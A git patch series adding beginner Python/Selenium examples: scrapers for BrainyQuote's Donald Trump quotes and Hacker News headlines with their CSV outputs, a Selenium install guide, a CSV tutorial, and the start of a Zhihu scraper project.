@@ -0,0 +1,24 @@
+from selenium import webdriver
+from brain_quote_page import BrainQuotePage
+
+
+def extract_donald_trump_quotes():
+    """ scrape all donald trump quotes """
+    browser = webdriver.Firefox()
+    browser.get('http://www.brainyquote.com/quotes/authors/d/donald_trump.html')
+    while True:
+        try:
+            all_quotes = browser.find_elements_by_css_selector(BrainQuotePage.donald_trump_quotes)
+            all_quote_links = browser.find_elements_by_css_selector(BrainQuotePage.donald_trump_links)
+            for quotes, quote_link in zip(all_quotes, all_quote_links):
+                # donald trump quote and link
+                print (quotes.text, quote_link.get_attribute('href'))
+            next_page = browser.find_element_by_css_selector(BrainQuotePage.donald_trump_next_page)
+            next_page.click()
+        except:
+            # we have reached the last page
+            break
+    browser.quit()
+
+if __name__ == '__main__':
+    extract_donald_trump_quotes()
diff --git a/webscraping-selenium/scrape all donald trump quotes/write_data_1.csv b/webscraping-selenium/scrape all donald trump quotes/write_data_1.csv
new file mode 100644
index 00000000..7cf3ebb3
--- /dev/null
+++ b/webscraping-selenium/scrape all donald trump quotes/write_data_1.csv	
@@ -0,0 +1,111 @@
+Donald Trump,Quotes
+Sometimes by losing a battle you find a new way to win the war.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum383171.html
+I have a great relationship with the Mexican people.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717755.html
+"You have to think anyway, so why not think big?",http://www.brainyquote.com/quotes/quotes/d/donaldtrum153798.html
+"You know the funny thing, I don't get along with rich people. I get along with the middle class and the poor people better than I get along with the rich people.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum414743.html
+"Our politicians are stupid. And the Mexican government is much smarter, much sharper, much more cunning. And they send the bad ones over because they don't want to pay for them. They don't want to take care of them. Why should they when the stupid leaders of the United States will do it for them?",http://www.brainyquote.com/quotes/quotes/d/donaldtrum714310.html
+"That's one of the nice things. I mean, part of the beauty of me is that I'm very rich. So if I need $600 million, I can put $600 million myself. That's a huge advantage. I must tell you, that's a huge advantage over the other candidates.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum414742.html
+"Love him or hate him, Trump is a man who is certain about what he wants and sets out to get it, no holds barred. Women find his power almost as much of a turn-on as his money.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum401997.html
+"Part of being a winner is knowing when enough is enough. Sometimes you have to give up the fight and walk away, and move on to something that's more productive.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum153805.html
+"When somebody challenges you, fight back. Be brutal, be tough.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum384933.html
+"One of the key problems today is that politics is such a disgrace, good people don't go into government.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum173289.html
+What separates the winners from the losers is how a person reacts to each new twist of fate.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum130623.html
+"Experience taught me a few things. One is to listen to your gut, no matter how good something sounds on paper. The second is that you're generally better off sticking with what you know. And the third is that sometimes your best investments are the ones you don't make.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum153799.html
+"With out passion you don't have energy, with out energy you have nothing.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum384121.html
+My whole life is about winning. I don't lose often. I almost never lose.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733773.html
+"In the end, you're measured not by how much you undertake but by what you finally accomplish.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum400491.html
+So we really need jobs now. We have to take jobs away from other countries because other countries are taking our jobs. There is practically not a country that does business with the United States that isn't making - let's call it a very big profit. I mean China is going to make $300 billion on us at least this year.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum416722.html
+"As long as your going to be thinking anyway, think big.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum125612.html
+"Mitt - what I speak to Mitt Romney about is jobs. What I speak to Mitt Romney about is China, because he's got a great view on China and how they're trying to destroy our country by taking our jobs and making our product and manipulating their currency, so that it makes it almost impossible for our companies to compete.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum447868.html
+"If I were a liberal Democrat, people would say I'm the super genius of all time. The super genius of all time. If you're a conservative Republican, you've got to fight for your life. It's really an amazing thing.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717763.html
+I actually don't have a bad hairline.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733762.html
+Do you mind if I sit back a little? Because your breath is very bad.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum134614.html
+Private jets cost a lot of money.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717778.html
+"Obama has no solutions. Obama has failed the country and its great citizens, and they don't like it when somebody such as myself speaks the truth about this - it hurts too much.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum447876.html
+"I could never have imagined that firing 67 people on national television would actually make me more popular, especially with the younger generation.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum397807.html
+"People might not think that, but the Republicans have all of the cards. And this is the time to get rid of Obamacare. This is the time to make the great deal.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum416720.html
+"It's tangible, it's solid, it's beautiful. It's artistic, from my standpoint, and I just love real estate.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum173288.html
+"I have women working in high positions. I was one of the first people to put women in charge of big construction jobs. And, you know, I've had a great relationship with women.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733748.html
+I wasn't satisfied just to earn a good living. I was looking to make a statement.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum165644.html
+"I think George Will is somebody that said recently that the Republicans will not lose, as a Republican, that the Republicans will not win the election. I think it was a terrible statement.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum447866.html
+"A lot of people don't like to win. They actually don't know how to win, and they don't like to win because down deep inside they don't want to win.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733754.html
+"I am very, very proud to say that I am pro-life.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum714317.html
+I apologize when I'm wrong.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733746.html
+I deal with foreign countries. I made a lot of money dealing against China. I've made a lot of money dealing against many other countries.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717785.html
+I have a Bible near my bed.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733781.html
+"I have a great, great company. I employ thousands of people. And I'm very proud of the job I did.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum714316.html
+I have respect for Senator McCain. I used to like him a lot. I supported him. I raised a lot of money for his campaign against President Obama.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717786.html
+I have very good executives and great children. They're very good.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717790.html
+"I think that when you get right down to it, people do evolve on different issues. And, you know, I'm pro-life. And I was begrudgingly the other way.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733742.html
+I'm the Ernest Hemingway of 140 characters.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733836.html
+I'm worth far too much money. I don't need anybody's money.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717789.html
+I've become very successful over the years. I think I own among the greatest properties in the world.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733815.html
+People are tired of seeing politicians as all talk and no action.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733767.html
+"Remember, many Republicans didn't vote for Mitt Romney. He didn't inspire people.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733772.html
+"Saudi Arabia makes a billion dollars a day, okay? They make a billion dollars a day.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717762.html
+Somebody said I am the most popular person in Arizona because I am speaking the truth.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717767.html
+"We have to straighten out our country; we have to make our country great again, and we need energy and enthusiasm.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733747.html
+"We need a president with tremendous intelligence, smarts, cunning, strength and stamina.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733837.html
+"I built a great company, one of the - some of the most iconic assets in the world, $10 billion of net worth, more than $10 billion of net worth, and frankly, I had a great time doing it.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717777.html
+"I get a lot of credit for comb-overs. But it's not really a comb-over. It's sort of a little bit forward and back. I've combed it the same way for years. Same thing, every time.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733761.html
+"I played golf with my friends, and then I started to play with the hustlers. And I learned a lot. I learned about golf; I learned about gambling. I learned about everything.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717772.html
+"I think the World Trade Center should be rebuilt as the World Trade Center, only stronger and one story taller. I hate what they're doing with the World Trade Center site.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733828.html
+"Ronald Reagan became, you know, not only a Republican but a pretty conservative Repub - not the most. But a pretty conservative Republican. And he's somebody that I actually knew and liked. And he liked me. And I worked with him and helped him.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733741.html
+I have made really some significant deals because I play golf.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733818.html
+I love Neil Young. And he loves me! We have a great relationship.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733816.html
+I love Wingfoot; I'm a member of Wingfoot. It's a great course.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733803.html
+I rely on myself very much. I just think that you have an instinct and you go with it. Especially when it comes to deal-making and buying things.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733788.html
+I shake hands very gladly politically. I don't think you could be a politician if you didn't shake hands.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733750.html
+I think I will be a great president having to do with the military and also having to do with taking care of our vets.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733805.html
+I want to be a fair trader. I want to be a firm and fair trader.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733769.html
+I want to lower taxes for the middle class.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733808.html
+I was a great student. I was good at everything.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733749.html
+"I went to the Wharton School of Finance, the toughest place to get into. I was a great student.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733745.html
+I would say that I bought the land under which Trump Tower sits while playing golf.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733802.html
+"I'm a believer in the polls, by the way. Rarely do you see a poll that's very far off.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733775.html
+"I'm competitive, and I love to create challenges for myself. Maybe that's not always a good thing. It can make life complicated.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733780.html
+"I'm gonna keep Social Security without change, except I'm going to get rid of the waste, fraud, and abuse; same thing with Medicare.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733760.html
+I've always been covered by a press that's mostly financial press.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733787.html
+I've always felt comfortable in front of a camera. Either you're good at it or you're not good at it.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733792.html
+I've been making deals all my life.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733758.html
+I've created tens of thousands of jobs over the years.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733790.html
+"I've met some great people that deal with me in the press. I've also met some people that were very dishonorable, frankly.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733806.html
+Iran is not getting rid of any of its nuclear plants. They're not getting rid of anything.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717779.html
+It's my life. It just continues to go forward from 'The Apprentice.',http://www.brainyquote.com/quotes/quotes/d/donaldtrum733793.html
+Many agree that the worst thing that could ever happen is if Russia and China get closer.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717782.html
+"Obamacare is, number one and maybe least importantly, it's costing the country a fortune.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717794.html
+"People assume I'm a boiler ready to explode, but I actually have very low blood pressure, which is shocking to people.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733782.html
+Politicians can't manage. All they can do is talk.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717761.html
+Seth Meyers is highly overrated as a comedian.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733796.html
+"So many people are on television that don't know me, and they're like experts on me.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717792.html
+The Iranians and Persians are excellent at the art of negotiation.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum717781.html
+"The Pope, I hope, can only be scared by God.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717769.html
+"The USGA is terrific. I've designed my course in Bedminster to the highest standards of the USGA, and it's a very special course.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733831.html
+The way I run my business seems to be easier than the way I run my life.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733821.html
+"There's always opposition when you do something big. I do many things that are controversial. When people see it, they love it!",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733812.html
+"To me, I love real estate because you can feel it.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733791.html
+We've had soldiers that were so badly hurt and killed. I want their families to get something.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733743.html
+"Years ago, I predicted that Iran would take over Iraq. Iran and Iraq used to fight back and forth.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum717780.html
+"You don't get a standing ovation and get boos, by the way. They don't go hand in hand.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733789.html
+"We have to go see Bill Gates and a lot of different people that really understand what's happening. We have to talk to them, maybe in certain areas, closing that Internet up in some way. Somebody will say, 'Oh, freedom of speech, freedom of speech.' These are foolish people. We have a lot of foolish people.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum737831.html
+"At the Super Bowl, when Beyonce was thrusting her hips forward in a very suggestive manner, if someone else had done that, it would've been a national scandal. I thought it was ridiculous.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733797.html
+"Everybody has their detractors. Some people say arrogance, or whatever they may say. I only have one thing in mind, and that's doing a great job for the country.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733751.html
+"Everything I do in life is framed through the view of a businessman. That's my instinct. If I go into a pharmacy to buy shaving cream, then I'm going to look for the best deal on shaving cream.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733779.html
+"I describe Jeb Bush as a 'low-energy' individual, and unfortunately for him, that stuck. And it's true: he's a low-energy person. That doesn't make him a bad person.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733810.html
+"I do respect them; I have great respect for women. In fact, one of the reasons 'The Apprentice' was such a successful show for so many years, the audience of women was fantastic.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733752.html
+"I give to everybody. When they call, I give. And do you know what? When I need something from them two years later, three years later, I call them, they are there for me.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum714313.html
+"I had great relationship with the Hispanic - we had a lot of Hispanics in the school actually from different countries, Venezuela, from Brazil, and they all played soccer, and I was on the soccer team, and I developed great relationships with them.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733755.html
+I have the right temperament. I have the right leadership. I've built an incredible company. I went to a great school. I came out - I built an incredible company. I wrote the number one selling business book of all time: 'Trump: The Art of the Deal.',http://www.brainyquote.com/quotes/quotes/d/donaldtrum733764.html
+"I will tell you this: I have fun, a lot of fun with 'The Apprentice.' When I did the books - and now we have a book out. And all the time, books are prestigious. But there's sort of nothing like having the big hot show on television.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733827.html
+"I'll drink water. Sometimes tomato juice, which I like. Sometimes orange juice, which I like. I'll drink different things. But the Coke or Pepsi boosts you up a little.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733783.html
+"If you love what you do, if you love going to the office, if you really like it - not just say it, but really like it - it keeps you young and energised. I really love what I do.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733814.html
+"In real life, if I were firing you, I'd tell you what a great job you did, how fantastic you are, and how you can do better someplace else. If somebody steals, that's different, but generally speaking, you want to let them down as lightly as possible. It's not a very pleasant thing. I don't like firing people.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733835.html
+"My father was a successful real estate developer, and he was a very tough man but a good man. My father would always praise me. He always thought I was the smartest person.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733776.html
+"My father was very energetic; my mother was very energetic. He lived to a very old age, and so did my mother. I believe that I just have it from my father, from my parents. They had wonderful energy.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733757.html
+"One of the reasons that New York became great was that it's serviced by many, many different rivers and waterways. You have the Atlantic Ocean connected virtually right to it, and it's serviced by the East River and the Hudson River and lots of tributaries.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733823.html
+Owning great landmarks such as the Empire State Building or Trump Tower or the General Motors Building or the Plaza Hotel - there are certain just spectacular landmarks - it's an honor; it's really an honor.,http://www.brainyquote.com/quotes/quotes/d/donaldtrum733822.html
+"The early versions of 'Shell's Wonderful World of Golf' were great. It's sort of interesting: as it progressed, it became worse and worse, but the early versions were really fantastic with Jimmy Demaret and Gene Sarazen. They were classics.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733819.html
+"The golf facet of my life doesn't go with the rest of my life, which is a rough-and-tumble life. I work in real estate development, which is the toughest business, and I do it in the toughest city. I deal with ruthless people.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733832.html
+"The interesting thing is that everyone in golf is just nice. You learn a lot about people playing golf: their integrity, how they play under pressure.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733833.html
+"What I hate about Halle Berry is there's always drama around her. It's always fighting, automobile accidents, fistfights, boyfriends fighting ex-husbands for the child.",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733794.html
+"You've seen my statements; I do very well. I don't mind paying some taxes. The middle class is getting clobbered in this country. You know the middle class built this country, not the hedge fund guys, but I know people in hedge funds that pay almost nothing, and it's ridiculous, OK?",http://www.brainyquote.com/quotes/quotes/d/donaldtrum733809.html
diff --git a/webscraping-selenium/scrape top tech news from hacker news website/__init__.py b/webscraping-selenium/scrape top tech news from hacker news website/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/webscraping-selenium/scrape top tech news from hacker news website/extact_hacker_news.py b/webscraping-selenium/scrape top tech news from hacker news website/extact_hacker_news.py
new file mode 100644
index 00000000..4a621609
--- /dev/null
+++ b/webscraping-selenium/scrape top tech news from hacker news website/extact_hacker_news.py	
@@ -0,0 +1,26 @@
+from selenium import webdriver
+from hacker_news import HackerNews
+import csv
+
+
+def extract_top_news():
+    """ scrape all top news from the hacker news website """
+    data = []
+    driver = webdriver.Firefox()
+    driver.get('https://news.ycombinator.com/')
+    element_list = driver.find_elements_by_css_selector(HackerNews.title_url)
+    for element in element_list:
+        try:
+            title_url = (element.text.encode('ascii', 'replace'), element.get_attribute('href').encode('ascii', 'replace'))
+            data.append(title_url)
+        except Exception as e:
+            print e
+    headers = ('Title', 'Title_URL')
+    with open('write_data_1.csv', 'w+') as data_file:
+        writer = csv.writer(data_file)
+        writer.writerow(headers)
+        writer.writerows(data)
+    driver.quit()
+
+if __name__ == '__main__':
+    extract_top_news()
diff --git a/webscraping-selenium/scrape top tech news from hacker news website/hacker_news.py b/webscraping-selenium/scrape top tech news from hacker news website/hacker_news.py
new file mode 100644
index 00000000..bd74422c
--- /dev/null
+++ b/webscraping-selenium/scrape top tech news from hacker news website/hacker_news.py	
@@ -0,0 +1,2 @@
+class HackerNews(object):
+    title_url = '.title>a'
diff --git a/webscraping-selenium/scrape top tech news from hacker news website/write_data_1.csv b/webscraping-selenium/scrape top tech news from hacker news website/write_data_1.csv
new file mode 100644
index 00000000..c478e93b
--- /dev/null
+++ b/webscraping-selenium/scrape top tech news from hacker news website/write_data_1.csv	
@@ -0,0 +1,32 @@
+Title,Title_URL
+Following a Select Statement Through Postgres Internals (2014),http://patshaughnessy.net/2014/10/13/following-a-select-statement-through-postgres-internals
+Maps Showing Where FBI Planes Are Watching from Above,http://www.buzzfeed.com/peteraldhous/spies-in-the-skies
+Pwncloud ? Bad crypto in the Owncloud encryption module,https://blog.hboeck.de/archives/880-Pwncloud-bad-crypto-in-the-Owncloud-encryption-module.html
+The Future Google Rackspace Power9 System,http://www.nextplatform.com/2016/04/06/inside-future-google-rackspace-power9-system/
+Performance Culture,http://joeduffyblog.com/2016/04/10/performance-culture/
+GCHQ 'intervened' over Harry Potter leak,http://www.bbc.co.uk/news/entertainment-arts-36010426
+What if the problem of poverty is that it?s profitable to other people?,http://www.theguardian.com/books/2016/apr/07/evicted-poverty-and-profit-in-the-american-city-matthew-desmond-review
+Blogless ? An articles-only publishing system for web writers,http://blogless.datenbrei.de/
+Meet the bughunters: the hackers in India protecting your data,http://www.theguardian.com/world/2016/apr/02/meet-the-bughunters-the-hackers-in-india-protecting-your-facebook-profile
+How Scams Worked in the 1800s,http://www.npr.org/sections/npr-history-dept/2015/02/12/385310877/how-scams-worked-in-the-1800s
+Flexport is hiring account execs in our NYC office,https://flexport.com/careers
+Top Hacker News Submissions by Year: 2009?2015,https://github.com/antontarasenko/smq/blob/master/reports/hackernews-top-submissions-by-year.md
+Algorithmically generated prior art,http://allpriorart.com/about/
+Your Life,http://some1else.github.io/life/
+Strategic Scala Style: Principle of Least Power,http://www.lihaoyi.com/post/StrategicScalaStylePrincipleofLeastPower.html
+Who will pay Puerto Rico's pensions?,http://www.reuters.com/investigates/special-report/usa-puertorico-pensions/
+"Economists Adding Up at Amazon.com, Microsoft, Google",http://www.investors.com/news/technology/amazon-microsoft-among-techs-that-say-employing-economists-adds-up/
+Sample workflow for LP digitization,http://manual.audacityteam.org/o/man/sample_workflow_for_lp_digitization.html
+Freelance Pilots,http://romansnitko.com/blog/freelance-pilots.html
+Stdio or iostreams? ? A Modest Alternative for C++,http://steved-imaginaryreal.blogspot.com/2016/04/stdio-or-iostreams-modest-alternative.html
+Analyzing the names of almost every Chinese restaurant in the U.S.,https://www.washingtonpost.com/news/wonk/wp/2016/04/08/we-analyzed-the-names-of-almost-every-chinese-restaurant-in-america-this-is-what-we-learned/
+Ammonia Is the Everest Base Camp for Clean Energy,http://thebreakthrough.org/issues/decarbonization/ammonia-is-everest-base-camp-for-clean-energy
+Pelikan: Twitter's unified cache back end,http://twitter.github.io/pelikan/
+'Google Hobbies' proof of concept,https://blog.prototypr.io/google-hobbies-a-retrospective-on-a-new-feature-to-help-google-users-find-and-learn-new-skills-650947f0be#.c0si6ns7l
+Notes on 'Decisive: How to Make Better Choices in Life and Work',http://scattered-thoughts.net/blog/2016/04/10/notes-on-decisive-how-to-make-better-choices-in-life-and-work/
+"Network Monitoring, Moral Hazards and Crumple Zones",http://etherealmind.com/network-monitoring-moral-hazards-and-crumple-zones/
+A Wild Way to Save the Planet,https://newrepublic.com/article/130791/wild-way-save-planet
+QML for the Web,https://github.com/qmlweb/qmlweb
+Airbus thinks it has found a way to alleviate jet lag,http://www.economist.com/blogs/gulliver/2016/04/thatll-be-day?fsrc=scn/fb/te/bl/ed/thatllbethedayairbusthinksithasfoundawaytoalleviatejetlag
+Why volatile is hard to specify and implement,http://kristerw.blogspot.com/2016/04/why-volatile-is-hard-to-specify-and.html
+More,https://news.ycombinator.com/news?p=2
diff --git a/webscraping-selenium/selenium-installation-guide.md b/webscraping-selenium/selenium-installation-guide.md
new file mode 100644
index 00000000..1aac2e51
--- /dev/null
+++ b/webscraping-selenium/selenium-installation-guide.md
@@ -0,0 +1,25 @@
+Python, Selenium Installation Guide Download
+
+Installing Python and Selenium
+
+Installing Python:
+
+Windows : http://python.org/download/.
+
+Note : IF you are using Linux, MacOS X, Unix operating Systems then python will be installed by default with OS
+
+    1.What is PIP installer Tool?
+    pip is a package management system used to install and manage software packages written in Python
+    pip is a recursive acronym that can stand for either "Pip Installs Packages" or "Pip Installs Python
+
+    2.Where do we get this PIP Tool? And how to configure it in our Local Machines
+
+    3.Installing Selenium
+    Use Below command on PIP to install Selenium Package
+    pip install selenium
+
+    This command will set up the Selenium WebDriver client library on your machine with all modules and classes that we will need to create automated scripts using Python
+
+    4.pip install -U selenium
+    The optional –U flag will upgrade the existing version of the installed package
+
diff --git a/webscraping-selenium/short tutorial to handle csv files/__init__.py b/webscraping-selenium/short tutorial to handle csv files/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/webscraping-selenium/short tutorial to handle csv files/read_write_csv.py b/webscraping-selenium/short tutorial to handle csv files/read_write_csv.py
new file mode 100644
index 00000000..6932b30d
--- /dev/null
+++ b/webscraping-selenium/short tutorial to handle csv files/read_write_csv.py	
@@ -0,0 +1,40 @@
+import csv
+
+with open('data1.csv', 'r+') as data_file:
+    data = csv.DictReader(data_file)
+    for row in data:
+        print(row)
+
+with open('data1.csv', 'r+') as data_file:
+    data = csv.reader(data_file, delimiter='|')
+    for row in data:
+        print(row)
+
+data = [
+    ('japanese', '5', '2001'),
+    ('korean', '2', '1998'),
+    ('german', '4', '2005'),
+    ('english', '10', '1990'),
+    ('tamil', '7', '2010'),
+]
+
+headers = ('language', 'ability', 'started')
+
+with open('write_data_1.csv', 'w+') as data_file:
+    writer = csv.writer(data_file)
+    writer.writerow(headers)
+    writer.writerows(data)
+
+data = [
+    {'language': 'japanese', 'ability': '5', 'started': '2001'},
+    {'language': 'korean', 'ability': '2', 'started': '1998'},
+    {'language': 'german', 'ability': '4', 'started': '2005'},
+    {'language': 'english', 'ability': '10', 'started': '1990'},
+    {'language':'tamil', 'ability': '7', 'started':  '2010'}
+]
+
+with open('write_data_2.csv', 'w+') as data_file:
+    writer = csv.DictWriter(data_file, fieldnames=headers)
+    writer.writeheader()
+    writer.writerows(data)
+

From bb71040b10c6b0956edaf6a7edb82620da948e09 Mon Sep 17 00:00:00 2001
From: shanhong cheng <shanhong.cheng@utah.edu>
Date: Fri, 2 Jun 2017 10:33:29 -0600
Subject: [PATCH 5/5] zhihu

---
 zhihu_fun/.gitignore                          |   95 +
 zhihu_fun/README.md                           |  108 +
 zhihu_fun/demo/data_demo.png                  |  Bin 0 -> 542554 bytes
 zhihu_fun/demo/get_cookie.png                 |  Bin 0 -> 734757 bytes
 zhihu_fun/demo/keyword_demo.png               |  Bin 0 -> 99908 bytes
 zhihu_fun/demo/result_demo.png                |  Bin 0 -> 291016 bytes
 zhihu_fun/demo/web_demo.png                   |  Bin 0 -> 5256911 bytes
 zhihu_fun/go.html                             |   76 +
 zhihu_fun/requirements.txt                    |    5 +
 zhihu_fun/run.py                              |   40 +
 zhihu_fun/run_test.py                         |    4 +
 zhihu_fun/tests/__init__.py                   |    0
 zhihu_fun/tests/my_test.py                    |   27 +
 zhihu_fun/zhihu_fun/__init__.py               |    0
 zhihu_fun/zhihu_fun/config.py                 |   24 +
 .../frontend/lightbox-plus-jquery.js          | 9719 +++++++++++++++++
 zhihu_fun/zhihu_fun/frontend/lightbox.css     |  213 +
 zhihu_fun/zhihu_fun/go.py                     |  161 +
 zhihu_fun/zhihu_fun/netlib/__init__.py        |    0
 zhihu_fun/zhihu_fun/netlib/requests.py        |   15 +
 zhihu_fun/zhihu_fun/netlib/selenium.py        |   88 +
 zhihu_fun/zhihu_fun/toollib/__init__.py       |    0
 zhihu_fun/zhihu_fun/toollib/answer.py         |   64 +
 zhihu_fun/zhihu_fun/toollib/basic.py          |   16 +
 zhihu_fun/zhihu_fun/toollib/bs.py             |    8 +
 zhihu_fun/zhihu_fun/toollib/dec.py            |   14 +
 zhihu_fun/zhihu_fun/toollib/logger.py         |   22 +
 zhihu_fun/zhihu_fun/toollib/question.py       |   42 +
 28 files changed, 10741 insertions(+)
 create mode 100644 zhihu_fun/.gitignore
 create mode 100644 zhihu_fun/README.md
 create mode 100644 zhihu_fun/demo/data_demo.png
 create mode 100644 zhihu_fun/demo/get_cookie.png
 create mode 100644 zhihu_fun/demo/keyword_demo.png
 create mode 100644 zhihu_fun/demo/result_demo.png
 create mode 100644 zhihu_fun/demo/web_demo.png
 create mode 100644 zhihu_fun/go.html
 create mode 100644 zhihu_fun/requirements.txt
 create mode 100644 zhihu_fun/run.py
 create mode 100644 zhihu_fun/run_test.py
 create mode 100644 zhihu_fun/tests/__init__.py
 create mode 100644 zhihu_fun/tests/my_test.py
 create mode 100644 zhihu_fun/zhihu_fun/__init__.py
 create mode 100644 zhihu_fun/zhihu_fun/config.py
 create mode 100644 zhihu_fun/zhihu_fun/frontend/lightbox-plus-jquery.js
 create mode 100644 zhihu_fun/zhihu_fun/frontend/lightbox.css
 create mode 100644 zhihu_fun/zhihu_fun/go.py
 create mode 100644 zhihu_fun/zhihu_fun/netlib/__init__.py
 create mode 100644 zhihu_fun/zhihu_fun/netlib/requests.py
 create mode 100644 zhihu_fun/zhihu_fun/netlib/selenium.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/__init__.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/answer.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/basic.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/bs.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/dec.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/logger.py
 create mode 100644 zhihu_fun/zhihu_fun/toollib/question.py

diff --git a/zhihu_fun/.gitignore b/zhihu_fun/.gitignore
new file mode 100644
index 00000000..ee3b0774
--- /dev/null
+++ b/zhihu_fun/.gitignore
@@ -0,0 +1,95 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+.hypothesis/
+
+# Translations
